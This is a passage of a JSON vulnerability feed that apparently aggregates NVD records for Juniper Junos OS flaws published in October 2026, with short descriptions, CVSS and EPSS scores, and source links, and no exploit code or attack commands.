2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102084&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102084, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102070","cveId":"CVE-2026-102070","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the Two-Way Active Measurement Protocol (TWAMP) client of Juniper Networks Junos OS allows an unauthenticated network-based attacker to...","summary":"A Reachable Assertion vulnerability in the Two-Way Active Measurement Protocol (TWAMP) client of Juniper Networks Junos OS allows an unauthenticated network-based attacker to cause rmopd service disruption via a specific TCP packet.","detail":"A Reachable Assertion vulnerability in the Two-Way Active Measurement Protocol (TWAMP) client of Juniper Networks Junos OS allows an unauthenticated network-based attacker to cause rmopd service disruption via a specific TCP packet.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:02.953Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102070","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00461,"percentile":0.3966,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102070&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102070","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102070","type":"primary","publishedAt":"2026-10-14T17:18:02.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102070&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102070, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102068","cveId":"CVE-2026-102068","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the kernel of Juniper Networks Junos OS Evolved allows an unauthenticated remote attacker to trigger a kernel panic via a crafted...","summary":"A Stack-based Buffer Overflow vulnerability in the kernel of Juniper Networks Junos OS Evolved allows an unauthenticated remote attacker to trigger a kernel panic via a crafted TCP packet when key-chain authentication is used for BGP or LDP.","detail":"A Stack-based Buffer Overflow vulnerability in the kernel of Juniper Networks Junos OS Evolved allows an unauthenticated remote attacker to trigger a kernel panic via a crafted TCP packet when key-chain authentication is used for BGP or LDP.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:02.647Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:H/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102068","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.0074,"percentile":0.543,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102068&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102068","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102068","type":"primary","publishedAt":"2026-10-14T17:18:02.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102068&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102068, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102062","cveId":"CVE-2026-102062","aliases":[],"kind":"vulnerability","title":"An Use of Externally-Controlled Format String vulnerability in the ipfd daemon of Juniper Networks Junos OS on SRX Series allows an unauthenticated network-based attacker to...","summary":"An Use of Externally-Controlled Format String vulnerability in the ipfd daemon of Juniper Networks Junos OS on SRX Series allows an unauthenticated network-based attacker to execute code with root privileges via a compromised or impersonated configured HTTPS feed server.","detail":"An Use of Externally-Controlled Format String vulnerability in the ipfd daemon of Juniper Networks Junos OS on SRX Series allows an unauthenticated network-based attacker to execute code with root privileges via a compromised or impersonated configured HTTPS feed server.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:01.737Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102062","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00408,"percentile":0.34746,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102062&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102062","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102062","type":"primary","publishedAt":"2026-10-14T17:18:01.737Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102062&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102062, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102037","cveId":"CVE-2026-102037","aliases":[],"kind":"vulnerability","title":"An XML Injection vulnerability in the Unified Threat Management daemon (utmd) of Juniper Networks Junos OS on SRX Series devices allows an unauthenticated network attacker to...","summary":"An XML Injection vulnerability in the Unified Threat Management daemon (utmd) of Juniper Networks Junos OS on SRX Series devices allows an unauthenticated network attacker to commit arbitrary device configuration with root privileges via a malicious response from a configured custom URL-feed server.","detail":"An XML Injection vulnerability in the Unified Threat Management daemon (utmd) of Juniper Networks Junos OS on SRX Series devices allows an unauthenticated network attacker to commit arbitrary device configuration with root privileges via a malicious response from a configured custom URL-feed server.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:57.867Z","updatedAt":"2026-10-16T17:17:09.483Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102037","asOf":"2026-10-16T17:17:09.483Z"},"epss":{"probability":0.00482,"percentile":0.41292,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102037&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102037","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102037","type":"primary","publishedAt":"2026-10-14T17:17:57.867Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102037&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102037, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102031","cveId":"CVE-2026-102031","aliases":[],"kind":"vulnerability","title":"An OS Command Injection vulnerability in TACACS of Juniper Networks Junos OS Evolved allows a low-privileged TACACS+-authenticated user to execute commands with root privileges...","summary":"An OS Command Injection vulnerability in TACACS of Juniper Networks Junos OS Evolved allows a low-privileged TACACS+-authenticated user to execute commands with root privileges when periodic TACACS+ authorization-refresh is enabled.","detail":"An OS Command Injection vulnerability in TACACS of Juniper Networks Junos OS Evolved allows a low-privileged TACACS+-authenticated user to execute commands with root privileges when periodic TACACS+ authorization-refresh is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:56.617Z","updatedAt":"2026-10-16T15:17:00.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102031","asOf":"2026-10-16T15:17:00.720Z"},"epss":{"probability":0.02101,"percentile":0.81586,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102031&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102031","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102031","type":"primary","publishedAt":"2026-10-14T17:17:56.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102031&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102031, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101997","cveId":"CVE-2026-101997","aliases":[],"kind":"vulnerability","title":"An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ipfd of Juniper Networks Junos OS on SRX Series allows an unauthenticated...","summary":"An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ipfd of Juniper Networks Junos OS on SRX Series allows an unauthenticated network-based attacker to execute code with root privileges via a configured Security Intelligence feed connection.","detail":"An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ipfd of Juniper Networks Junos OS on SRX Series allows an unauthenticated network-based attacker to execute code with root privileges via a configured Security Intelligence feed connection.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:52.740Z","updatedAt":"2026-10-16T15:17:00.243Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101997","asOf":"2026-10-16T15:17:00.243Z"},"epss":{"probability":0.00392,"percentile":0.33088,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101997&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101997","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101997","type":"primary","publishedAt":"2026-10-14T17:17:52.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101997&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101997, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101990","cveId":"CVE-2026-101990","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote configured BGP peer to cause an...","summary":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote configured BGP peer to cause an rpd crash, or on Junos OS remote code-execution, via sending a flow-spec update which is selected for re-advertisement.","detail":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote configured BGP peer to cause an rpd crash, or on Junos OS remote code-execution, via sending a flow-spec update which is selected for re-advertisement.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:51.587Z","updatedAt":"2026-10-16T15:17:00.060Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101990","asOf":"2026-10-16T15:17:00.060Z"},"epss":{"probability":0.00568,"percentile":0.46787,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101990&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101990","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101990","type":"primary","publishedAt":"2026-10-14T17:17:51.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101990&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101990, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101986","cveId":"CVE-2026-101986","aliases":[],"kind":"vulnerability","title":"An  Improper Authentication vulnerability in J-Web of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to bypass J-Web authentication and...","summary":"An  Improper Authentication vulnerability in J-Web of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to bypass J-Web authentication and execute CGI content with elevated privileges via a crafted HTTP request.","detail":"An  Improper Authentication vulnerability in J-Web of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to bypass J-Web authentication and execute CGI content with elevated privileges via a crafted HTTP request.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:50.953Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101986","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00579,"percentile":0.47337,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101986&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101986","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101986","type":"primary","publishedAt":"2026-10-14T17:17:50.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101986&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101986, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101980","cveId":"CVE-2026-101980","aliases":[],"kind":"vulnerability","title":"An Integer Underflow vulnerability in the kernel of Juniper Networks Junos OS with Extended Echo configured allows an unauthenticated, network-based attacker to cause a denial of...","summary":"An Integer Underflow vulnerability in the kernel of Juniper Networks Junos OS with Extended Echo configured allows an unauthenticated, network-based attacker to cause a denial of service by a kernel crash.","detail":"An Integer Underflow vulnerability in the kernel of Juniper Networks Junos OS with Extended Echo configured allows an unauthenticated, network-based attacker to cause a denial of service by a kernel crash.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:50.503Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101980","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00471,"percentile":0.40448,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101980&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101980","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101980","type":"primary","publishedAt":"2026-10-14T17:17:50.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101980&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101980, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101967","cveId":"CVE-2026-101967","aliases":[],"kind":"vulnerability","title":"An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved allows an unauthenticated attacker on the management LAN to...","summary":"An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved allows an unauthenticated attacker on the management LAN to execute commands as root via crafted DHCP response.","detail":"An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved allows an unauthenticated attacker on the management LAN to execute commands as root via crafted DHCP response.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:49.100Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101967","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.0392,"percentile":0.90264,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101967&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101967","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101967","type":"primary","publishedAt":"2026-10-14T17:17:49.100Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101967&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101967, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101956","cveId":"CVE-2026-101956","aliases":[],"kind":"vulnerability","title":"An Improper Authentication vulnerability in the J-Web web management component of Juniper Networks Junos OS allows an unauthenticated remote attacker to execute arbitrary Junos...","summary":"An Improper Authentication vulnerability in the J-Web web management component of Juniper Networks Junos OS allows an unauthenticated remote attacker to execute arbitrary Junos commands with root privileges via the exposed J-Web web interface.","detail":"An Improper Authentication vulnerability in the J-Web web management component of Juniper Networks Junos OS allows an unauthenticated remote attacker to execute arbitrary Junos commands with root privileges via the exposed J-Web web interface.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 